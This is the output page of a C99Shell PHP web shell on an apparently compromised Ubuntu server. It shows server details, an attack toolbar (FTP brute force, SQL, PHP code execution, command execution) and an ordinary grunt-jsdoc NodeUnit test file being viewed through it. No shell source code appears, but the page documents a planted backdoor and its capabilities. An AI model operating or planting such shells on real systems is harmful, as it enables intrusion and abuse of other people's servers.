!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/node-red/node_modules/grunt-jsdoc/test/   drwxr-xr-x
Free 13.28 GB of 57.97 GB (22.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     jsdoc-plugin_test.js (2.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/**
 * @fileoverview NodeUnit test
 * @copyright Bertrand Chevrier 2012
 * @author Bertrand Chevrier <chevrier.bertrand@gmail.com>
 * @license MIT
 *
 * @module test/jsdoc-plugin_test
 */

/**
 * This function enables you to extract
 * the declared arguments from a function.
 * @param {Function} fn - the function to extract the arguments for
 * @returns {Array} the list of arguments
 * @throw {Error} in case of wrong argument given
 */
var extractArgs = function(fn) {
    'use strict';

    if (typeof fn !== 'function') {
        throw new Error('TypeError : The extractArgs function requires the fn argument to be a function!');
    }
    return fn.toString().match(/function\s+\w*\s*\((.*?)\)/)[1].split(/\s*,\s*/);
};

/**
 * NodeUnit group of test that check the jsdoc Grunt task.
 *
 * @see https://github.com/caolan/nodeunit/
 *
 * @class JsdocTest
 */
exports.JsdocTest = {

    /**
     * Set up the test by load the tasks/jsdoc-plugin module
     * @memberOf JsdocTest
     * @param {Function} done - to call once the setup is done.
     */
    setUp: function(done) {
        'use strict';

        this.jsdocTask = require('../tasks/jsdoc-plugin');
        done();
    },

    /**
     * Check the task is loaded and complies with the grunt requirements.
     * @memberOf JsdocTest
     * @param {Object} test - the node unit test context
     */
    'taskCheck': function(test) {
        'use strict';

        test.notStrictEqual(this.jsdocTask, undefined, 'the jsdoc task should be set up');
        test.equal(typeof this.jsdocTask, 'function', 'the task must be a function');

        var taskArgs = extractArgs(this.jsdocTask);
        test.ok(taskArgs.length > 0 && taskArgs[0] === 'grunt', 'the task must declare the grunt context as 1st parameter');

        test.done();
    },

    /**
     * Do some check on the exec library
     * @memberOf JsdocTest
     * @param {Object} test - the node unit test context
     */
    'execCheck': function(test) {
        'use strict';

        var exec = require('../tasks/lib/exec');

        test.notStrictEqual(exec, undefined, 'the exec lib should be required');
        test.equal(typeof exec, 'object', 'exec is an object');

        test.equal(typeof exec.buildSpawned, 'function', 'exec must have a buildSpawned method');
        test.equal(typeof exec.lookup, 'function', 'exec must have a lookup method');

        test.done();
    }
};


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0144 ]--